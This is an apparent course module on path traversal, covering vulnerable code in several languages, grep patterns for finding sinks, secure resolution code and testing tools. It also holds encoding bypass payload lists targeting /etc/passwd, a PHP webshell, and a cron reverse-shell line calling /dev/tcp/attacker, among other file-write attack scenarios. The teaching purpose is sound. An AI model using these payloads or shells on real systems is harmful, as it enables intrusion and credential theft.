01 //Introduction
Path traversal (also known as directory traversal or dot-dot-slash attacks) allows attackers to access files outside the intended directory by manipulating file paths. This vulnerability can lead to sensitive data exposure, source code leakage, and in severe cases, remote code execution.
Path traversal consistently ranks among the most common web vulnerabilities. It occurs whenever an application uses user-supplied input to construct file paths without proper validation, allowing attackers to "escape" the intended directory using sequences like "../".
Path traversal can expose /etc/passwd, database credentials, API keys, source code, and private keys. When combined with file write capabilities, it often leads to remote code execution through webshell upload or configuration file manipulation.
What does the sequence '../' do in a file path?
02 //How Path Traversal Works
Path traversal exploits the way operating systems resolve relative paths. When a file path contains "../", the OS interprets it as "go up one directory level". By carefully crafting input with multiple "../" sequences, attackers can navigate to any location on the file system.
→ /var/www/app/uploads/report.pdf
→ /var/www/app/uploads/../../../etc/passwd
→ /etc/passwd (escaped!)
Path traversal can expose sensitive files like /etc/passwd, configuration files with credentials, source code, or even allow arbitrary file writes leading to code execution.
1# Starting directory: /var/www/app/uploads/
2
3# User input: "report.pdf"
4# Resolved path: /var/www/app/uploads/report.pdf ✓ Safe
5
6# User input: "../config.php"
7# Resolved path: /var/www/app/uploads/../config.php
8# = /var/www/app/config.php ✗ Escaped!
9
10# User input: "../../../../etc/passwd"
11# Resolved path: /var/www/app/uploads/../../../../etc/passwd
12# = /etc/passwd ✗ System file exposed!
13
14# Path resolution steps:
15/var/www/app/uploads + /../../../.. + /etc/passwd
16= /var/www/app + /../../.. + /etc/passwd (1 up)
17= /var/www + /../.. + /etc/passwd (2 up)
18= /var + /.. + /etc/passwd (3 up)
19= / + + /etc/passwd (4 up, hit root)
20= /etc/passwdCommon Target Files
| File | OS | Contains |
|---|---|---|
| /etc/passwd | Linux | User accounts (enumeration) |
| /etc/shadow | Linux | Password hashes (if readable) |
| /etc/hosts | Linux | Host mappings |
| ~/.ssh/id_rsa | Linux | SSH private keys |
| ~/.bash_history | Linux | Command history |
| /proc/self/environ | Linux | Environment variables |
| C:\Windows\win.ini | Windows | Windows config (PoC) |
| C:\inetpub\wwwroot\web.config | Windows | IIS configuration |
| .env | Any | Application secrets |
| config/database.yml | Any | Database credentials |
Why is /etc/passwd commonly used as a proof-of-concept target?
03 //Vulnerable Code Patterns
Path traversal vulnerabilities occur when user input is concatenated directly into file paths. During code review, look for any file system operations that incorporate user-controlled data.
1// VULNERABLE: Direct concatenation
2app.get('/download', (req, res) => {
3 const filename = req.query.file;
4 const filepath = './uploads/' + filename; // Path traversal!
5 res.sendFile(filepath);
6});
7
8// VULNERABLE: Template literal
9app.get('/avatar/:username', (req, res) => {
10 const path = `./avatars/${req.params.username}.png`; // Vulnerable!
11 res.sendFile(path);
12});
13
14// VULNERABLE: path.join does NOT prevent traversal!
15const filepath = path.join('./uploads', req.query.file);
16// path.join('../../../etc/passwd') = '../../../etc/passwd'
17// It normalizes but doesn't restrict!
18
19// VULNERABLE: Reading file contents
20app.get('/view', (req, res) => {
21 const content = fs.readFileSync('./docs/' + req.query.doc);
22 res.send(content);
23});
24
25// VULNERABLE: File inclusion
26const template = req.query.template;
27require('./templates/' + template); // LFI to RCE!1# VULNERABLE: Direct concatenation
2@app.route('/download')
3def download():
4 filename = request.args.get('file')
5 filepath = f'./uploads/{filename}' # Path traversal!
6 return send_file(filepath)
7
8# VULNERABLE: os.path.join does NOT prevent traversal!
9filepath = os.path.join('./uploads', filename)
10# If filename starts with '/', it ignores the base!
11# os.path.join('./uploads', '/etc/passwd') = '/etc/passwd'
12
13# VULNERABLE: Template rendering
14template_name = request.args.get('template')
15return render_template(f'themes/{template_name}')
16
17# VULNERABLE: File operations
18with open(f'./data/{user_input}', 'r') as f:
19 content = f.read()
20
21# VULNERABLE: Import/exec
22module = __import__(f'plugins.{user_input}')1// VULNERABLE: Direct concatenation
2@GetMapping("/download")
3public ResponseEntity<Resource> download(@RequestParam String file) {
4 Path path = Paths.get("uploads/" + file); // Vulnerable!
5 Resource resource = new FileSystemResource(path.toFile());
6 return ResponseEntity.ok().body(resource);
7}
8
9// VULNERABLE: Paths.get normalizes but doesn't restrict
10Path path = Paths.get("uploads", userInput);
11// Paths.get("uploads", "../../../etc/passwd")
12// = "../../../etc/passwd" (relative) or resolves to /etc/passwd
13
14// VULNERABLE: File operations
15File file = new File(baseDir, userInput);
16FileInputStream fis = new FileInputStream(file);
17
18// VULNERABLE: Including JSP
19String page = request.getParameter("page");
20request.getRequestDispatcher("/WEB-INF/views/" + page + ".jsp")
21 .include(request, response);Many developers believe path.join() or os.path.join() prevents path traversal. This is FALSE! These functions normalize paths but do NOT restrict traversal. In Python, if the second argument is absolute (starts with /), it completely ignores the first argument.
What does os.path.join('/uploads', '/etc/passwd') return in Python?
04 //Finding Vulnerable Sinks
During code review, systematically search for file system operations that could be vulnerable. These "sinks" are where user input reaches the file system.
Path Traversal Sinks by Language
| Language | Vulnerable Functions/Methods |
|---|---|
| Node.js | fs.readFile, fs.readFileSync, fs.writeFile, fs.createReadStream, res.sendFile, require() |
| Python | open(), os.path.join(), send_file(), render_template(), __import__(), exec() |
| Java | new File(), Paths.get(), FileInputStream, FileOutputStream, getResource(), include() |
| PHP | include(), require(), fopen(), file_get_contents(), readfile(), file() |
| Ruby | File.open(), File.read(), send_file(), render() |
| Go | os.Open(), ioutil.ReadFile(), http.ServeFile(), filepath.Join() |
1# Grep patterns to find potential sinks
2
3# Node.js
4grep -rn "fs\.read" --include="*.js"
5grep -rn "sendFile" --include="*.js"
6grep -rn "createReadStream" --include="*.js"
7grep -rn "require\s*\(" --include="*.js"
8
9# Python
10grep -rn "open\s*\(" --include="*.py"
11grep -rn "send_file" --include="*.py"
12grep -rn "os\.path" --include="*.py"
13grep -rn "render_template" --include="*.py"
14
15# Java
16grep -rn "new File\s*\(" --include="*.java"
17grep -rn "Paths\.get" --include="*.java"
18grep -rn "FileInputStream" --include="*.java"
19grep -rn "getResource" --include="*.java"
20
21# PHP
22grep -rn "include\|require\|fopen\|file_get_contents" --include="*.php"
23
24# Then trace backwards: Does user input flow to these sinks?1// Step 1: Find the sink
2app.get('/api/files/:category/:filename', async (req, res) => {
3 // ...
4 const content = fs.readFileSync(filepath); // SINK found!
5 // ...
6});
7
8// Step 2: Trace back to find where filepath comes from
9app.get('/api/files/:category/:filename', async (req, res) => {
10 const { category, filename } = req.params; // USER INPUT
11 const filepath = path.join('./files', category, filename); // VULNERABLE
12 const content = fs.readFileSync(filepath); // SINK
13 res.send(content);
14});
15
16// Step 3: Verify the vulnerability
17// Request: GET /api/files/docs/../../../etc/passwd
18// filepath = path.join('./files', 'docs', '../../../etc/passwd')
19// filepath = './files/docs/../../../etc/passwd'
20// filepath = '../etc/passwd' (normalized)
21// fs.readFileSync('../etc/passwd') → reads /etc/passwd!
22
23// BOTH category AND filename are vulnerable entry points!When reviewing code for path traversal, what should you trace?
05 //Bypass Techniques
Weak path traversal protections can often be bypassed. Understanding these techniques helps you evaluate whether security controls are actually effective.
../ → %2e%2e/
../ → ..%2f
../ → %252e%252e%252f (double)
../../../etc/passwd\0.jpg
(truncates at null in some langs)
..././ → ../ (after stripping ./)
/var/www/../../../etc/passwd
Windows: ..%5c..%5c..
UNC: \\\\server\\share\\file
1# 1. URL ENCODING
2../ → %2e%2e%2f
3../ → %2e%2e/
4../ → ..%2f
5../ → %2e%2e%5c (Windows)
6
7# Double encoding (if decoded twice)
8../ → %252e%252e%252f
9
10# 2. NULL BYTE (older languages/versions)
11../../../etc/passwd%00.png
12../../../etc/passwd\x00.jpg
13# Null byte terminates string in C-based parsers
14# Extension check sees ".png", fopen sees "/etc/passwd"
15
16# 3. FILTER EVASION
17# If filter removes "../":
18....// → ../ (after removing ../)
19..././ → ../ (after removing ./)
20....\\// → ..\ (Windows)
21
22# If filter checks start of path:
23/var/www/uploads/../../../etc/passwd # Starts with allowed dir
24
25# 4. UNICODE NORMALIZATION
26..%c0%af → ../ (overlong UTF-8)
27..%ef%bc%8f → ../ (fullwidth slash)
28%2e%2e%c0%af → ../
29
30# 5. ABSOLUTE PATH (Python os.path.join)
31/etc/passwd → Ignores base directory entirely!
32
33# 6. WINDOWS-SPECIFIC
34..\..\..\windows\win.ini
35..%5c..%5c..%5cwindows%5cwin.ini
36....\\ → ..\ (after removing ..\)
37
38# 7. PATH TRUNCATION (older systems)
39../../../etc/passwd/./././[repeat]./file.txt
40# Some systems truncate long paths1// WEAK: Blocklist approach - easily bypassed
2function sanitizePath(input) {
3 // Remove "../" sequences
4 return input.replace(/\.\.\//g, '');
5}
6// Bypass: "....//etc/passwd" → "../etc/passwd"
7// Bypass: "..%2f..%2f" (URL encoded, not caught)
8
9// WEAK: Single replacement
10function sanitizePath(input) {
11 return input.replace('../', '');
12}
13// Bypass: "..././etc/passwd" → "../etc/passwd"
14
15// WEAK: Extension whitelist only
16function validateFile(filename) {
17 if (!filename.endsWith('.pdf')) {
18 throw new Error('Invalid file type');
19 }
20 return filename;
21}
22// Bypass: "../../../etc/passwd%00.pdf" (null byte)
23// Bypass: "../../../etc/passwd/.pdf" (some systems)
24
25// WEAK: Checking for ".." anywhere
26function sanitizePath(input) {
27 if (input.includes('..')) {
28 throw new Error('Invalid path');
29 }
30 return input;
31}
32// Bypass with URL encoding: "%2e%2e%2fetc%2fpasswd"
33// Application decodes AFTER this check!Why does '....//etc/passwd' bypass a filter that removes '../'?
06 //File Write Attacks
Path traversal affecting file write operations is especially dangerous. Instead of just reading files, attackers can overwrite critical files or create new files in sensitive locations, often leading to remote code execution.
1// VULNERABLE: User controls filename for upload
2app.post('/upload', upload.single('file'), (req, res) => {
3 const filename = req.body.filename || req.file.originalname;
4 const filepath = path.join('./uploads', filename);
5 fs.renameSync(req.file.path, filepath); // Path traversal!
6});
7// Attack: filename = "../../../var/www/html/shell.php"
8
9// VULNERABLE: User controls both path and content
10app.post('/save', (req, res) => {
11 const { filename, content } = req.body;
12 fs.writeFileSync(`./data/${filename}`, content);
13});
14// Attack: filename = "../config.js", content = malicious code
15
16// VULNERABLE: Log file path controlled by user
17app.post('/log', (req, res) => {
18 const logFile = req.body.logFile || 'app.log';
19 fs.appendFileSync(`./logs/${logFile}`, req.body.message);
20});
21// Attack: logFile = "../../../etc/cron.d/malicious"1# SCENARIO 1: Webshell Upload
2Target: ../../../var/www/html/shell.php
3Content: <?php system($_GET['cmd']); ?>
4Access: http://target.com/shell.php?cmd=whoami
5
6# SCENARIO 2: Cron Job (Linux)
7Target: ../../../etc/cron.d/backdoor
8Content: * * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'
9Wait for cron to execute (runs every minute)
10
11# SCENARIO 3: SSH Authorized Keys
12Target: ../../../home/user/.ssh/authorized_keys
13Content: ssh-rsa AAAAB3...attacker-key... attacker@evil
14SSH in with attacker's private key
15
16# SCENARIO 4: Overwrite Application Code
17Target: ../../../var/www/app/routes/admin.js
18Content: Modified code with backdoor
19Server restart loads malicious code
20
21# SCENARIO 5: Configuration Poisoning
22Target: ../../../var/www/app/.env
23Content: DATABASE_URL=mysql://attacker:pass@evil.com/db
24Application connects to attacker's databaseFile write path traversal almost always leads to RCE. Even if direct code execution is not possible, attackers can overwrite configuration files, scheduled tasks, or SSH keys. Treat file write traversal as Critical severity.
Why is file write path traversal more dangerous than file read?
07 //Prevention Techniques
Effective path traversal prevention requires multiple layers. The key principle is: never trust user input to construct file paths, and always validate the resolved path is within the expected directory.
1const path = require('path');
2const fs = require('fs');
3
4// SECURE: Validate resolved path is within allowed directory
5function secureFilePath(baseDir, userInput) {
6 // Resolve to absolute paths
7 const base = path.resolve(baseDir);
8 const requested = path.resolve(baseDir, userInput);
9
10 // Check that resolved path starts with base directory
11 if (!requested.startsWith(base + path.sep)) {
12 throw new Error('Path traversal detected');
13 }
14
15 // Additional: Check file exists and is a file (not directory)
16 const stats = fs.statSync(requested);
17 if (!stats.isFile()) {
18 throw new Error('Not a file');
19 }
20
21 return requested;
22}
23
24// Usage
25app.get('/download', (req, res) => {
26 try {
27 const filepath = secureFilePath('./uploads', req.query.file);
28 res.sendFile(filepath);
29 } catch (err) {
30 res.status(400).json({ error: 'Invalid file path' });
31 }
32});
33
34// ALTERNATIVE: Use allowlist of filenames
35const ALLOWED_FILES = new Set(['report.pdf', 'data.csv', 'image.png']);
36
37app.get('/download', (req, res) => {
38 const filename = req.query.file;
39
40 // Only allow specific filenames
41 if (!ALLOWED_FILES.has(filename)) {
42 return res.status(404).json({ error: 'File not found' });
43 }
44
45 res.sendFile(path.join('./uploads', filename));
46});
47
48// ALTERNATIVE: Use ID mapping instead of filenames
49app.get('/download/:id', async (req, res) => {
50 const fileRecord = await db.files.findById(req.params.id);
51 if (!fileRecord) {
52 return res.status(404).json({ error: 'File not found' });
53 }
54
55 // Filename never controlled by user
56 res.sendFile(fileRecord.storagePath);
57});1import os
2from pathlib import Path
3from flask import abort
4
5def secure_file_path(base_dir: str, user_input: str) -> Path:
6 """Safely resolve a file path within a base directory."""
7
8 # Resolve to absolute paths
9 base = Path(base_dir).resolve()
10 requested = (base / user_input).resolve()
11
12 # Ensure the resolved path is within base directory
13 # Using is_relative_to (Python 3.9+)
14 if not requested.is_relative_to(base):
15 raise ValueError("Path traversal detected")
16
17 # For Python < 3.9:
18 # try:
19 # requested.relative_to(base)
20 # except ValueError:
21 # raise ValueError("Path traversal detected")
22
23 # Check file exists
24 if not requested.is_file():
25 raise FileNotFoundError("File not found")
26
27 return requested
28
29# Usage
30@app.route('/download')
31def download():
32 try:
33 filepath = secure_file_path('./uploads', request.args.get('file', ''))
34 return send_file(filepath)
35 except (ValueError, FileNotFoundError) as e:
36 abort(404)
37
38# SECURE: realpath comparison
39def is_safe_path(base_dir, user_path):
40 """Check if the path is safely within the base directory."""
41 # realpath resolves all symlinks and normalizes
42 base = os.path.realpath(base_dir)
43 requested = os.path.realpath(os.path.join(base_dir, user_path))
44
45 # Must start with base directory + separator
46 return requested.startswith(base + os.sep)Prevention Checklist
| Control | Implementation | Priority |
|---|---|---|
| Resolve and validate | Compare resolved path against base directory | Critical |
| Use IDs, not names | Map file IDs to paths in database | High |
| Allowlist filenames | Only permit specific known filenames | High |
| Strip path separators | Remove / and \ from user input | Medium |
| Chroot/sandbox | Restrict process to specific directory | Medium |
| Validate extensions | After path resolution, verify extension | Medium |
| Logging | Log and alert on traversal attempts | Medium |
What is the most reliable way to prevent path traversal?
08 //Security Tools
These tools help identify and exploit path traversal vulnerabilities during security testing.
Path Traversal Testing Tools
| Tool | Type | Best For |
|---|---|---|
| Burp Suite | Proxy | Intercepting and fuzzing file parameters |
| ffuf | Fuzzer | Fast path traversal wordlist fuzzing |
| dotdotpwn | Scanner | Dedicated path traversal scanner |
| LFISuite | Scanner | LFI detection and exploitation |
| Kadimus | Scanner | LFI scanner with auto-exploitation |
| wfuzz | Fuzzer | Web fuzzing with encoding options |
1# Basic payloads
2../../../etc/passwd
3....//....//....//etc/passwd
4..%2f..%2f..%2fetc%2fpasswd
5..%252f..%252f..%252fetc%252fpasswd
6..\..\..\etc\passwd
7..%5c..%5c..%5cetc%5cpasswd
8
9# Null byte payloads (older systems)
10../../../etc/passwd%00
11../../../etc/passwd%00.png
12../../../etc/passwd\0.jpg
13
14# Encoding variations
15%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
16..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
17..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd
18
19# Absolute path (Python os.path.join bypass)
20/etc/passwd
21file:///etc/passwd
22
23# ffuf command for path traversal
24ffuf -u "http://target.com/download?file=FUZZ" \
25 -w /path/to/lfi-wordlist.txt \
26 -fs 0 # Filter empty responses- Burp Suite — Web security testing platform
- ffuf — Fast web fuzzer
- dotdotpwn — Directory traversal fuzzer
- LFISuite — LFI exploitation tool
- SecLists — Path traversal wordlists
Start by identifying parameters that could reference files (file, path, doc, template, page, include). Test basic traversal sequences. If blocked, try encoding bypasses. Use Burp Intruder with a path traversal wordlist. Verify successful reads by looking for expected file content like "root:" from /etc/passwd.
09 //Conclusion
Path traversal remains one of the most common and impactful web vulnerabilities. Its simplicity—just adding "../" to paths—belies its severity, as it can lead to sensitive data exposure, credential theft, and remote code execution.
Remember: 1) Never trust user input in file paths, 2) path.join() does NOT prevent traversal, 3) Always resolve paths and validate against base directory, 4) Use file IDs instead of names when possible, 5) Check archive extraction for Zip Slip, 6) File write traversal usually leads to RCE, 7) Test with encoding bypasses, not just basic "../".
When reviewing code, search for all file system operations and trace whether user input can reach them. Verify that path validation happens after resolution, not before. Remember that many bypass techniques exist, so blocklist approaches are insufficient. The safest approach is to use indirect references (file IDs) rather than user-controlled filenames.